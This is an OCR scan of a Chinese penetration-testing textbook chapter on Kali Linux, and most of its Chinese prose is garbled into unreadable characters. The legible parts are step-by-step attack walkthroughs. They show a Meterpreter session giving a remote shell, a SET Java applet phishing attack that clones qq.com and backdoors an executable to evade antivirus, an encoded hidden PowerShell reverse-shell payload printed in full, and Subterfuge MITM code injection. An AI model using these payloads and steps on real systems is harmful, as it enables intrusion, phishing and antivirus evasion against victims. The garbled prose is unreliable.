S tH A6 B S T B AT B9AE B B BT RO i e iy, e e
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ENFE R B 0L 192.168.41.156:443,

B I LAT LUK AT T B template.pdf SCPF, GELELHLFIBAE& S H iR, 241
FRHLPSTIFEIFINA S 4100 PDF SCAER, o B R IMUOL M. EBGEEHLL, ¥
e SE NN TN E S

msf exploit(handler) >
[*] Sending stage (769024 bytes) to 192.168.41.146

[*] Meterpreter session 1 opened (192.168.41.156:443 -> 192.168.41.146:1083) at 2014-06-07
11:17:11 +0800

s B, WEGh ERLG e RE R 192.168.41.146. MtEF, i LS AR ML
RN EENE T AN axidi, W F B

msf exploit(handler) = sessions
Activa sessions

Id Type Information Connection

1 meterpreter x86/win32 AA-8B60KIJM26FSW\Test @ AA-8860KJMZ26FSW
192.168.41.156:443 -> 192.168.41.146:1083 (192.168.41.146)

M aofs B, wTRGE BT 2. e, #k 7 BB EE.
S éi%ff“,h win32, FHL4Zh AA-8860KIM26FSW . TS A FH F ol Test K 4L IP #h
hl. vfi?l 1% l|1r+ aﬂjL““:i-‘l"l H’ffh HL FadEgr ‘f”"ﬁiﬂ— t; JLL'!L’.*Hi =i Ffl I}J[IT | H:IJ\ HLu
R, _':I[] NIRRT

msf exploit{handler) > sessions -i 1

[+] Starting interaction with 1...
meterpreter >

M S B nl PR 20218 1 # R IhBGE . e nT BATE meterpreter f7 247 F, 44
Irafpar 4. WO H e EHLAY Shell, W1 F s

meterpreter > shell

[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 792 created.

Channel 2 created.

Microsoft Windows XP [kiZ< 5.1.2600]
(C) MEAYERFE 1985-2001 Microsoft Corp.
C:\Documents and Settings\Test\s >

i 4 {5 L 7l C:\Documents and Settings\ Test\5L (1>, 27 i) 573 1) H bR AL, 1

HEAR Y 2L Test PS4, fEHEHP R r84E. &5 Sar b hscfkse, e
rﬁ':‘f;::

C:\Documents and Settings\Test\SE & >dir #YH B RPRREXH

dir

Wihss C B EARE

HEHFFIS R 1806-07F4

C:\Documents and Settings\Test\\S @ AYE F
2014-06-07 11:11 =DIR>

2014-06-07 11:11 =DIR=> ..
2014-05-06 19:46 54 111.txt

2014-06-07 11:00 57,364,480 AdbeRdr810_zh_CN.msi
2014-06-06 16:01 46,844 JEdB2oma7AEGVT7G. pdf
2014-06-06 18:54 6,619 template.pdf
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4 It 57,417,997 F¥
2 ~BF 38,359,552,000 afAFET

gk A BB T HEs BV i BB SO 2 H ok bW LB R SCHE AR, R
Fir s

C:\Documents and Settings\Test\S2 E>type 111.txt HEFLGEAE

type 111.txt

Ethernet adapter Z=ith % #:
Cannectinn-speciﬁc DNS Suffix . : localdomain

IP Address. . : 192.168.41.146
Subnet Mask ............ : 255.255.255.0
Default Gateway . .. .. ... .: :192.168.41.2

S A R R T 1 Lt SR A 7R
742 Web o=

Web Hria] &2 Bt H— 280 Hbsn 5 2 o) {5 A HSR M. SET )
Web Hilin) 5wl LUE il g Brigd 7 el 5 el s, Al nise e —FE. KPR, HARH
FLLA B CIEE Aok kg, A S RS s e . AT 43 SET LI,
Web Hili|n) i .

[ 7-21  F i Javaapplet Wi 5o Bl Web Hribi ) . HARER AL W F RS,

Java applet Wi | A 75 Java applet FEF3E 7 B GELL 190 B 28 60 A, B {4t applet fi§
fE FBR 0 S 25 b w47, [N EETE Hbr B0 LizdT HMehidlifer . Java applet Mk JF AN
Ua}’:!" L Java A B dEH, HOES2 Ml H bR W E R DT, PO — M 1R
A B ) S T EIEA T AN (T Java applet #2)5. thT Java T H P 4F—~ apple
P A T2, H Pl B e M R AT & 52 2N Google Al Microsoft %5, iXFE, 1l
T A - N\ Y S

(1) Jishttes TR, ST SR k.

root@kali:~# setoolkit

Select from the menu:

1) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration

7) Help, Credits, and About

99) Exit the Social-Engineer Toolkit
set>

LA I'ﬁﬁi’i’-ﬁ'i‘ B T BT R B .31 3
(2) XL TR R, BAMS 1. R SR BRI E .

set> 1
M™bgd "7TMM"™™YMM MMP™MM™YMM
Ml Y MM TP MM 7
"MMb. MM d MM
YMMNg.  MMmmMM MM

MM MM Y MM
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Mb dM MM M MM
P"Ybmmd" .JMMmmmmMMM  JMML.

[---] The Social-Engineer Toolkit (SET) [--]
(-] Created by: David Kennedy (ReL 1K) [--]
-] Version: 6.0 []
[---] Codename: 'Rebellion’ [--]
[---] Follow us on Twitter: @ TrustedSec [--]
[] Follow me on Twitter: @HackingDave [—]
-] Homepage: hitps://www.trustedsec.com [=-]

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
B) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.

set=

O R T bR TR, AT M A&,

(3) BCHLZHE Web ICli 5, SAGHS 2. i i RHURIA B
set> 2

The Web Attack module is a unique way of utilizing multiple web-based attacks in order to
compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based
payload. Uses a customized java applet created by Thomas Werth to deliver the payload.
The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an
iframe and deliver a Metasploit payload.
The Credential Harvester method will utilize web cloning of a web- site that has a username and
password field and harvest all the information posted to the website.
The TabMabbing method will wait for a user to move to a different tab, then refresh the page to
something different.
The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes
iframe replacements to make the highlighted URL link to appear legitimate however when clicked
a window pops up then is replaced with the malicious link. You can edit the link replacement
settings in the set_config if its too slow/fast.
The Multi-Attack method will add a combination of attacks through the web attack menu. For
example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all
at once to see which is successful.

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method

3) Credential Harvester Attack Method

4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) Full Screen Attack Method

99) Return to Main Menu

set:webattack=>
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i th Ir]’:J”ffi' s T Web Jgadi () e, 'HJ'MF.JIJFFJJ’E{- BT .
(4) 1% Tk FF Java applet Bl J5ik, oA ge's 1o R i B (s B
set:webattack=1

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.htm| when using the import website
functionality.

1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>

it 1 L SR T Java applet B 58 58 42 'fft‘f'i’j-%!nl ~, fERIATP AP, Hopa—
fir (Web #ib) 2k TR A — B ML, 55 fh CREBIM D 2FH OAEEm
R O — B, SR M

(5) IXHUERE RIS, FASS 2. 8 F IR R

set:webattack>2
[-] NAT/Port Forwarding can be used in the cases where your SET machine is
[-] not externally exposed and may be a different |IP address than your reverse listener.
set> Are you using NAT/Port Forwarding [yes|no]: no
#ETER NAT/Port $# &
[-] Enter the IP address of your interface IP or if your using an external IP, what
[-] will be used for the connection back and to house the web server (your interface address)
set:webattack=> |IP address or hostname for the reverse connection;192.168.
6.103 #ig & Id FHL A

[ ]
Java Applet Configuration Options Below

[
Mext we need to specify whether you will use your own self generated java applet, built in applet,
or your own code signed java applet. In this section, you have all three options available. The first
will create a self-signed certificate if you have the java jdk installed. The second option will use the
one built into SET, and the third will allow you to import your own java applet OR code sign the
one built into SET if you have a certificate.

Select which option you want:

1. Make my own self-signed certificate applet.

2. Use the applet built into SET.

3. | have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2 #i%$¥ Java applet 8!
[*] Okay! Using the one built into SET - be careful, self signed isn't accepted in newer versions of
Java

[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone:http://www.qq.com #i& 8 SE$IAM R
[+] Cloning the website: http://www.qqg.com

[*] This could take a little bit...

[*] Injecting Java Applet attack into the newly cloned website.

[*] Filename obfuscation complete. Payload name is: vWzsHO

[*] Malicious java applet website prepped for deployment

What payload do you want to generate:
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Name: Description:

1) Windows Shell Reverse TCP Spawn a command shell on victim
and send back to attacker

2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on
victim and send back to attacker

3) Windows Reverse TCP VNC DLL Spawn a VNC server on victim and
send back to attacker

4) Windows Bind Shell Execute payload and create an
accepting port on remote system

5) Windows Bind Shell X64 Windows x64 Command Shell, Bind
TCP Inline

6) Windows Shell Reverse TCP X64 Windows X64 Command Shell,

Reverse TCP Inline
7) Windows Meterpreter Reverse_ TCP X64 Connect back to the attacker
(Windows x64), Meterpreter

8) Windows Meterpreter All Ports Spawn a meterpreter shell and
find a port home (every port)
9) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP
using SSL and use Meterpreter
10) Windows Meterpreter Reverse DNS Use a hostname instead of an IP
address and spawn Meterpreter
11) SE Toolkit Interactive Shell Custom interactive reverse
toolkit designed for SET
12) SE Toolkit HTTP Reverse Shell Purely native HTTP shell with
AES encryption support
13) RATTE HTTP Tunneling Payload Security bypass payload that
will tunnel all comms over HTTP
14) ShellCodeExec Alphanum Shellcode This will drop a meterpreter
payload through shellcodeexec
15) Pylnjector Shellcode Injection This will drop a meterpreter

payload through Pylnjector
16) MultiPylInjector Shellcode Injection This will drop multiple
Metasploit payloads via memory
17) Import your own executable Specify a path for your own
executable
set:payloads=>

L A B s T ng il R S 4 ey .
(6) iXH iLFf Windows Reverse TCP Meterpreter Il faf, Hr—~ ) TCP 4.
IS 2, f s R RS B

set.payloads>2
Select one of the below, 'backdoored executable’ is typically the best. However,
most still get picked up by AV. You may need to do additional packing/crypting
in order to get around basic AV detection.
1) shikata_ga_nai
2) No Encoding
3) Multi-Encoder
4) Backdoored Executable
set:encoding=4 HEETMERAR
set:payloads> PORT of the listener [443]: #HizEEITAEOS
[#] Generating x86-based powershell injection code for port: 22
[*] Generating x86-based powershell injection code for port: 53
[*] Generating x86-based powershell injection code for port: 443
[*] Generating x86-based powershell injection code for port: 21
[*] Generating x86-based powershell injection code for port: 25
[*] Finished generating powershell injection bypass.
[#*] Encoded to bypass execution restriction policy...

<229 -



3 RSN

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[*] Backdoor completed successfully. Payload is now hidden within a legit executable.

[*] Apache appears to be running, moving files into Apache's home

LR RS S AR R R e R L L R R R LR R

Web Server Launched. Welcome to the SET Web Attack.

T e e P e

[--] Tested on Windows, Linux, and OSX [-]

[--] Apache web server is currently in use for performance. [--]
[*] Moving payload into cloned website.

[*] The site has been moved. SET Web Server is now listening..
[-] Launching MSF Listener...

[-] This may take a few to load MSF...

A - -
IRt I [V AR M
VI NF-L A AN =T+
0 L 1 O O B IO DU 0 S [N T

VL VAN S VN v

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.9.3-2014070201 [core:4.9 api:1.0] ]
+ -- -=[ 1315 exploits - 716 auxiliary - 209 post ]
+ -- --=[ 341 payloads - 35 encoders - 8 nops ]
+ -- —=[ Free Metasploit Pro trial: http://r-7_co/trymsp ]
[#] Processing /root/.set/meta_config for ERB directives.

resource (/root/.set/meta_config)> use exploit/multi’handler
resource (/root/.set/meta_config)= set PAYLOAD windows/meterpreter/
reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

resource (/root/.set/meta_config)> set LHOST 192.168.6.103
LHOST => 192.168.6.103

resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding == false

resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession == false

resource (/root/.set/meta_config)> set LPFORT 22

LPORT => 22

resource (/root/.set/meta_config)> exploit -j

[*] Exploit running as background job.

resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/
reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

resource (/root/.set/meta_config)= set LHOST 192.168.6.103
LHOST == 192.168.6.103

resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding == false

resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession == false

resource (/root/.set/meta_config)> set LPORT 53

LPORT == 53

resource (/root/.set/meta_config)> exploit -

[*] Exploit running as background job.

resource (/root/.set/meta_config)> use exploit/multi’handler

resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/
reverse_tcp

[*] Started reverse handler on 192.168.6.103:22
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[+] Starting the payload handler...

PAYLOAD => windows/meterpreter/reverse_tcp

resource (/root/.set/meta_config)> set LHOST 192.168.6.103
LHOST => 192.168.6.103

resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding == false

resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession == false

resource (/root/.set/meta_config)> set LPORT 443

LPORT == 443

resource (/root/.set/meta_config)> exploit

[*] Exploit running as background job.

resource (/root/.set/meta_config)= use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/
reverse_tcp

[+] Started reverse handler on 192.168.6.103:53

PAYLOAD => windows/meterpreter/reverse_tcp

[+] Starting the payload handler...

[+] Started reverse handler on 192.168.6.103:443

resource (/root/.set/meta_config)> set LHOST 192.168.6.103

[+] Starting the payload handler...

LHOST => 192.168.6.103

resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding == false

resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession ==> false

resource (/root/.set/meta_config)> set LPORT 21

LPORT => 21

resource (/root/.set/meta_config)> exploit

[#] Exploit running as background job.

resource (/root/.set/meta_config)> use exploit/multilhandler
resource (/root/.set/meta_config)= set PAYLOAD windows/meterpreter/
reverse_tcp

PAYLOAD == windows/meterpreter/reverse_tcp

resource (/root/.set/meta_config)> set LHOST 192.168.6.103
LHOST == 192.168.6.103

resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding == false

resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession == false

resource (/root/.set/meta_config)> set LFORT 25

LPORT => 25

resource (/root/.set/meta_config)> exploit -

[+] Exploit running as background job.

[*] Started reverse handler on 192.168.6.103:21

[+] Starting the payload handler...

msf exploit{handler) =
[+] Started reverse handler on 192.168.6.103:25

[*] Starting the payload handler...

LI E g 45 BB AU OCIC & . X, 4 H s i ) s 1 el By
HILI o 2w 2Ll

C7) BEIHE H R 0L L7 Bk 0L, 5 B 7.20 Bros ) 51 .

(8) M ZF T LLE BIFT M AR, i) ) S B is AT LR . A HE ST AL Tava
applet #H [ . M AR ol LLE$, J2 Verified Trusted and secure (VERIFIED) . IU{E R
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iy “iEiT” e, Hah R SO 2 m a1, s

£ hittpy 192, 1686, 103 »[ 4 | x JH8 sing

o g B RuEE v 2 BEESKOERE T
fi B -~ & -~ OEP > w26 IR0~ @

B Fari fied Trusted snd Securs VERIFIEDD
BiE: W

M kteg:fF182. 168, 6. LO3

B R RAE -

[ I | aEmEEaEFREMEDSERTES. fTReARE
oy BtAER, ANEEREGRFEMANEF EI=MET,

B 7.20 A RHE

[+] Sending stage (769536 bytes) to 192.168.6.106
[#*] Meterpreter session 1 opened (192.168.6.103:443 -= 192.168.6.106:50729) at 2014-07-19

12:23:24 +0800
[#*] Meterpreter session 2 opened (192.168.6.103:21 -> 192.168.6.106:50728) at 2014-07-19

12:23:25 +0800
[*] Meterpreter session 3 opened (192.168.6.103:22 -> 192.168.6.106:50727) at 2014-07-19

12:23:25 +0800
[#*] Meterpreter session 4 opened (192.168.6.103:53 -= 192.168.6.106:50730) at 2014-07-19

12:23:25 +0800

msf exploit(handler) =

MEL gt s b, nlBLE B T 4 ~2sih . dhis o] BT H sessions iy 2 A 41
:[[J_F” Fay L;rn

(9) EHZW. MATITSW FR;

msf exploit(handler) > sessions
Active sessions

Id Type Information Connection

1 meterpreter x86/win32 WIN-RKPKQFBLGEC \Administrator @ WIN-RKPKQFBLGEC
192.168.6.103:443 -> 192.168.6.106:50729 (192.168.6.106)

2 meterpreter x86/win32 WIN-RKPKQFBLGEC\Administrator @ WIN-RKPKQFBLGGBC
192.168.6.103:21 -> 192.168.6.106:50728 (192.168.6.106)

3 meterpreter x86/win32 WIN-RKPKQFBLGEC\Administrator @ WIN-RKPKQFBLGEC
192.168.6.103:22 -> 192.168.6.106:50727 (192.168.6.106)

4 meterpreter x86/win32 WIN-RKFKQFBLGEC\Administrator @ WIN-RKFPKQFBLGGC
192.168.6.103:53 -> 192.168.6.106:50730 (192.168.6.106)

Mt (s Eb, T RAE B B AL B AS R R ER T Y224 . o] LK FF
FABAT A2, FRELR S WL a7 54T Shell.
(10) JAzheis 1, HFaRBUEFE EPLAY Shell, AT AT FTR:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
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meterpreter > shell

Process 5056 created.

Channel 1 created.

Microsoft Windows [0 6.1.7601]

OO 0000 (e) 2009 Microsoft CorporationO0 00000000003
C:\Users\Administrator\Desktop>

M LS S, aTBLE B R SR B — M2 72 Shell .
7.4.3 PowerShell IfH @&

e 2 TR, AEHIRET Java 1¥) PowerShell B0k i) e 2 i EEA . S H bR ML
WA I AT Java, WIASEEIRSN & U7 R Bk B MR 2 TR I, AR T Mt . BTLATR
TAEH RO se B, gt v B gR AL R R SCPF. R PowerShell Tt ) i nf LAY
# PowerShell 3C {1, G EIE 0 R IEE Her. S Hriz T, BaT LLIREL — A~ %
R, AN 48 PowerShell 22 v & .

[32f 7-31 {FH] PowerShell X it n) & i) & PowerShell 30, HAfiZ 0200545 H b
FMl. HARERfEL B N TR,

(1) st TR PUTar S F prs:

Select from the menu:

1) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Metasploit Framework

5) Update the Social-Engineer Toolkit

6) Update SET configuration

7) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set=

(2) EFSTRY, WMA%RS 1, Wk

set=1
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.
set>

(3) #E4F PowerShell Zribim) &, Ay 10, B 2ontn F s B

set= 10

The Powershell Attack Vector module allows you to create PowerShell specific attacks. These
attacks will allow you to use PowerShell which is available by default in all operating systems
Windows Vista and above. PowerShell provides a fruitful landscape for deploying payloads and
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performing functions that do not get triggered by preventative technologies.
1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell
3) Powershell Bind Shell
4) Powershell Dump SAM Database
99) Return to Main Menu
set:powershell>

(4) L+ PowerShell SR CIE A, STAS S 1. FF 8w F s B

set:powershell=1
set> IP address for the payload listener: 192.168.6.103
Hil B I LAY
set:powershell> Enter the port for the reverse [443]:
HgBEMEZMIROS. XEFARAROS
[#] Prepping the payload for delivery and injecting alphanumeric shellcode...
[#] Generating xB6-based powershell injection code...
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] If you want the powershell commands and attack, they are exported to

froot/.set/reports/powershell/
set> Do you want to start the listener now [yes/no]: : yes
HET I T

Unable to handle kernel NULL pointer dereference at virtual address Oxd34db33f

EFLAGS: 00010046

eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001

esi: 803bf014 edi: 8023c755 ebp: 80237184 esp: 8023760

ds: 0018 es: 0018 ss:0018

Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090990909090990909090
90909090990909090990909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900

CCCCCCCCCCCCCCCCCCCCCCCCe
CCCCCCCCCOCCCCOCCCOCCCoCCos
COCCCCOCE. . ...onirermrnrmanrenrnnes
CCCCCCCCCCCCCCCCCCCCCCCCo
CCCCCCCCCCCCCCCCCCCCCCCCo
............................... Ccoccocco
CCCCCCCCCCCCCCCCCCCCCooool
CCCCCCCCCCCCCCCCCCCCCCCCC

Code: 000000 00 M3 T4 SPLO 1T FR 4M 3W OR K! V3 R5 10 N4 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing
Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on hitp://rapid7.com/metasploit
=[ metasploit v4.9.3-2014070201 [core:4.9 api:1.0] ]
+ - —=[ 1315 exploits - 716 auxiliary - 209 post ]
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+ -- --=[ 341 payloads - 35 encoders - 8 nops ]

+ -- —=[ Free Metasploit Pro trial: hitp://r-7_co/trymsp ]

[*] Processing /root/.set/reports/powershell/powershell.rc for ERB directives.
resource (/root/.set/reports/powershell/powershell.rc)> use multi’/handler
resource (froot/.set/reports/powershell/powershell.rc)> set payload windows/meterpreter/reverse_tcp
payload == windows/meterpreter/reverse_tcp

resource (/root/.set/reports/powershell/powershell.rc)> set Iport 443

lport == 443

resource (/root/ set/reports/powershell/powershell.re)> set LHOST 0.0.0.0
LHOST == 0.0.0.0

resource (/root/ set/reports/powershell/powershell.rc)> exploit -j

[*] Exploit running as background job.

msf exploit{handler) =

[*] Started reverse handler on 0.0.0.0:443

[*] Starting the payload handler...

i S B B T Beh EAURACE S B . e O etk e a8l T Mo, SR HAR T
PLitiES:. LB E el G, 22 {F oot/ set/reports/powershell/ F 55 F Gl #t | —AMi&iE I
e AR S iSO oA S, TS 44 04 x86_powershell_injection.txt.

(5) MBI PHHT - em i 1, AEBIEIGE RN A, WF .

root@kali:~# cd /root/.set/reports/powershell/

root@kali:~/.set/reports/powershell# Is

powershell.rc x86_powershell_injection.txt

root@kali:~/ .set/reports/ipowershell# cat x86_powershell_injection. txt

powershell -nop -windows hidden -noni -enc JAAXACAAPQAgACCAJABJACAAPQAgACCcAJwWBD
AEQAbABSAEKADQBwWAGSBAcgBOACgAIgBrAGUAcgBuAGUADAAZADIALGBKAGWADAAIACKAX
QBwAHUAYgBsAGKAYwWAgAHMAJABhAHQAaQBJACAAZQBAAHOAZQBYAGAAIABJAGAAdAB
QAHQACgAgAFY AaQByAHQAJQBhAGWAQQBsAGwWAbwBJACgASQBUAHQAUABOAHIAIABsA
HAAQQBKAGQAcgBIAHMAcwWASACAAIQBpAGAAdAAGAGQAIWBTAGKAegBIACWAIAB1AGKA
bgBOACAAZgBsSAEEADABSAGBAYWEhAHQAaQBvAG4AVABSAHAAZQASACAADQEPAGAAdA
AgAGYAbABQAHIAbWBOAGUAYWBOACKAOWBbAEQADBABSAEKADQOBWAGBAcgBOACgAIgBrA
GUAcgBuAGUADbAAZADIALgBKAGWADAAIACKAXQBWAHUAYgBsAGKAYwWAgAHMAJABhAHQ
AaQBJACAAZQB4AHQAZOBYAGAAIABJAGAAJABQAHQACgAGAEMACGBIAGEAJABIAFQAaAB
yAGUAYQBKACgASQBUAHQAUABOAHIAIABSAHAAVABOAHIAZQBhAGQAQQBOAHQACcgBpA
GIAJQBOAGUAcwWASACAAQBpAGAAJAAGAGQADWBTAHQAY QBJAGsAUWBpAHOAZQASACA
ASQBUAHQAUABOAHIAIABsAHAAUWBOAGEAcgBOAEEAZABKAHIAZOBzAHMALAAGAEKADg
BOAFAAJABYACAADABWAFAAY QByAGEADQBIAHQAZQBYACWAIAB1AGKAbgBOACAAZAB3A
EMAcgBIAGEAdABpAGEAbgBGAGWAYQBnAHMALAAGAEKAbgBOAFAAJABYACAADABWAFQ
AaAByAGUAYQBKAEKAZAApADsAWWBEAGWABABJAGOACABVAHIAJAACACIADQBZAHYAYwW
ByAHQALgBKAGWABAAIACKAXQBWA

LA E A5 B2 x86_powershell_injection.txt SCAF R 2. MES—ATal LI, iz 0ff
w1z AT powershell % . W3R H bR EHLIZATIXEACH, ¥f b Kali P IT AN fe b .

(6) eI, n] LY x86 powershell injection.txt S04 H i A 25 820 2 H 45 3 fL (Windows
7) 1 DOS F, #RIGIEFT. Kali EHLES Emun FHrsrE R

[*] Sending stage (769536 bytes) to 192.168.6.106

[*] Meterpreter session 1 opened (192.168.6.103:443 -> 192.168.6.106:51097) at 2014-07-18
15:36:00 +0800

M fE B T ELE 3 Th 4T 3T T — 1 Meterpreter 2315 .
(7) Jash2ig 1, AT Shell, AT 852 W01 F e

msf exploit{handler) > sessions -i 1
[+] Starting interaction with 1...
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meterpreter > shell

Process 636 created.

Channel 1 created.

Microsoft Windows [0 6.1.7601]

OO 0000 (e) 2009 Microsoft CorporationO0 00000000003
C:\Users\Administrator=

M LS S, aTBLE B R SR B — M2 72 Shell .

QGEE, fEvh b Fd, il 444505 6) 7 X I8 PowerShell LA LA 24T B 47, 4
7€ R BUEAE Shell. 2L FEFRFAT, XA FRTH. AL, § 2540384
PowerShell 3L A 344 5538 gt 7T AT 49 exe FAF FH A4k 38 S 4F bat. B P 45T vh4E
W E P P26 Veil 25, A4 F bat L,

744 BgBzhfkrhe] AE T B Subterfuge

Subterfuge &k ] Python "JFI’J'I'IIIU\J;{JI HERE, EEEA AT S, Rl EE T
Jll:'rgL R R ) A BG4 T H . i EiEAT Subterfuge 5% Django il scapy 25 5
He, 7F Subterfuge ‘3% 11 dependencnes Hat R, #0ET Subterfuge fiT 5[] Python fd.,

AN Subteriuge L) e fEH .

[SE{5) 7-4)  273% Subterfuge " H.. B ARERAE LR F .

(1) 3 http://code.google.com/p/subterfuge/downloads/list [? & %% Subterfuge ¥ {}11,
L f0. 44 4 subterfuge packages.tar.gz.

(2) f#H4i Subterfuge ¥, 04T %40 T Arops:

root@kali:~# tar zxvf subterfuge_packages.tar.gz

(3) ¢3¢ Subterfuge FfF. $frde 40 FAR:

root@kali:~# cd subterfuge/
root@kali:~/subterfuge# python install.py

AT LA b &FJ%EWJ»;UH%[ 7.21 By S0 .

S.uhter'FugE Installer - O

SI.IETC’RI'UG el »

Nelcome to the-Subtafuga Erﬂnt udIldI-IFr

Installation ﬂﬂtml‘lﬁiﬂ i1

* Full Install With Depencencles Simple Install

 7.21 3% Subterfuge YHf]



TR BT

(4) TEi% Y% FE Full Install With Depencencies #£70, 41 Install #2423 58 0K
fe, Kt P 7.22 Bras .

complete, Thank
you for installing
Subrterfuge.

Finish

= Full Install With Depencencies Simple Install

Install == @

P 7.22 ek

(5) Mz S v] BLA 25—~ HE, i Subterfuge 223258 1. BB, ¥24d5 Finish
FE AT LA SE plie e

[3cf]7-5]1 {iH] Subterfuge T H.. FA&PEFLERDF ros.

(1) 15} Suberfuge T.H . 4T84 W FHros;

root@kali:~# subterfuge

AT UL Edr 4 a8 o R s B

Subterfuge courtesy of rO0tOv3rr1d3 & OsmOs1z
Validating models...

0 errors found

Django version 1.3.1, using settings 'subterfuge.settings'
Development server is running at http://127.0.0.1:80/
Quit the server with CONTROL-C.

(2) FTIFREE%, JR4T A 127.0.0.1:80 i/ ] Subterfuge 1 Ftiii, wWif¥ 7.23 Fras.

Subterfuge - leeweasel
File Edit Wiew History Bookmarks Tools Halp
& 5ubttr|’ugt Jl-i.'-ll
127.0.0.1 w i w 0| < P?

i Most Visited  [[flOMensve Security " Kali Linux S Kali Docs ERExploit-D8 W Awcrack-ng

SUBTERFUGE Modules - Settings - start [§

Source Usarname Fassword

¥ 7.23  Subterfuge & 5+1f
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FRrEIE N

(3) MaZFri T LG 2 5 T Modules F1 Settings #£5%, i HiL A7 Start {461
{t Subterfuge ¥t fi[1) Modules 55, 0] LLEEFENT 7 2 QLA [l B Healb A7 Yok . A
Settings = 5%, nf LLE L Subterfuge —4E3)iE, I H A 82t . FinfdH HTTP Code Injection

b, S Y A Bt

[5245 7-6) 6714 ] Subterfuge [¥) HTTP Code Injection fH Froliin % g%, FLikHe(f

LHRWT B .

(1) 7618 7.23 v, gl Modules 5200, 5 SRt lE 7.24 Frosi 9t .

o
t \
Maetwark View Credential

Harvester

A =

Suhtarfuqe Modula Tunnel Black
Builder

I‘
; HTTF Code
Imjectian

Denial of Service

— Plugin Settings
Wislcome to the Subterfuge Plugin kMenu. This sectiol
1o contral which plugins are running and customize yo
veciors, (Mote multiple plugins may be run simultaneo

=

P 7.24 A Bri iR

(2) fFiZ A FE HTTP Code Injection #ide, 5 Wontn e 7.25 i 0 A i .

Subterfuge - Icewseasal

Fie Edt Vew Higtory Bockmarks Toals Help
l'«t. Emmrﬁugn i#]

# |& 127001

«&| - a +

il Most Visited~ [l Offensive Security S Kali Linux "%, Kali Docs EBExplait-DB W Aircrack-ng

-
k \’
Network View Credential

Harvester

- -

Sllb'.ﬂﬂ'l.l.qE' Modals Tunnel Block
Builder
m "l E
panial of Sarvica HTTF Code
Injection

Session H:I_]I.I:ilrl.g’ Evilgrade Update

Exploitation

— Plugin Semngs
Subterfuge's HTTF Code Ingection Module allows a user to inj
payioads directly into a langet's browsing session. Payloads ¢
be armtteng from simple [avascriptfHTRL inectons o Drowse
ENIOITS, YiOU BVen Write your own injects.

Rumning: &

b o AT pwn j

o —

Paydoad:  IFrame Injection j

% 7.25 ¥ HTTP Code Injection Fiilit

(3) fEi% 5t 1H Bt E HTTP Code Injection HEHAYIACF(E B X AR BONRE, JF
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Apply $&Hl, !.f P 7.26 BT S .
(4) i%5Fthl i Subterfuge H 24T > Shell & [, R 45038 Metasploit &%t
fite, tnlE 7.27 Fios.

H 7.26 N3k Metasploit HE 42 B 7.27  INEEEE R R

